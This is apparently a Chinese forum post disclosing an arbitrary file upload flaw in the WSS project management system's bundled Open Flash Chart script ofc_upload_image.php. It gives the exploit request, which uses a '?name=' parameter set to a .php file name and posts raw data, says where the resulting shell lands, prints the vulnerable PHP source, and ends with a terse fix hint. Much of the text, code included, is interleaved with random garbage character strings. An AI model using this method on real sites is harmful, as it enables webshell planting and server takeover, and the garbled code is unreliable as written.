WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

! k9 F8 i2 X, P2 i1 e0 B4 h利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
$ P" N5 A$ T6 b( f- O
7 I0 }- J1 \6 E" b) RPost任意数据
2 P" W0 J' q; D; [6 F* a0 O8 Z# }, I5 P保存位置http://localhost/chart/tmp-upload-images/hfy.php

" c8 X" y# L! w, {' h
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php
& Y( S% J9 p. N9 v6 [$ w
3 ]' N: x0 p/ a, E//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

) m8 @" T. N4 J8 u- D/*

  g4 a' {' g9 c6 e) cprint_r( $_GET );
print_r( $_POST );
- A; ?  T5 T, aprint_r( $_FILES );
- C: Y9 E( b: b) z- C3 h
print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

) t6 g3 d1 l$ b6 K*/
6 h( ?# g$ x" o/ ~// default path for the image to be stored //
9 a# V3 j% _8 S' C1 s$default_path = '../tmp-upload-images/';
1 V# E/ o* X7 d
$ ]9 Q+ P4 H, `7 `' Q) S5 Yif (!file_exists($default_path)) mkdir($default_path, 0777, true);
: n3 Y+ M& D' l% W  S* ~
( d/ \3 j0 a) p7 X8 z" W  C// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );

0 a* T( p# `( s: Gecho 'Saving your image to: '. $destination;
// print_r( $_POST );
2 w7 l$ {1 q+ Y9 ~5 m4 ^0 ]4 k// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
2 ]$ v( i" ^" ?1 T: Z, C
3 l7 g4 R' D! }% @7 W: s2 ]7 A7 X//
  m2 j, s" Y( W( ~% K// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
" U: ~% p' e1 v0 X. j//
& |% D% H6 ]; }. m
% k5 R2 ?. n% R) A$jfh = fopen($destination, 'w') or die("can't open file");
6 c8 g  H- S& U" \8 j  tfwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
9 E1 M/ g( @7 T( l- \3 y
. _; o9 O' t, D. \//
// LOOK:
7 s- V3 D0 f- u/ V$ E//
( z- j4 {7 |' s+ L; }, ]) O0 ?  Kexit();
//
// PHP5:
//


5 m8 m& Y3 ?$ y% o" C// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
5 P6 I' N/ o6 A+ x
% \1 @5 T5 ]0 a3 A- g7 r. v; T) iif (!file_exists($default_path)) mkdir($default_path, 0777, true);
* `2 F5 V8 S/ C* J+ _  ~
// full path to the saved image including filename //
- L# ^' P, o* X* u( b0 G( k$ x9 M$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
( M6 ^0 E7 q1 b
9 B9 y# q/ v1 d; p! Z7 c// move the image into the specified directory //
2 i/ a/ l; o# I; Y# A$ Pif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
( w, H# ^9 L6 G" \    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
}

- o7 t7 T" J7 R- j  D. g
?>

8 Q  `$ P1 `, D0 l( f# P
8 y, g' I+ W  Q8 Q6 f* F3 ~  z9 r

5 w% }( {5 \& q: \$ v4 J
, F. R/ i( q  n1 a. p2 h
修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞



6 l- @% m) o2 |% Y0 {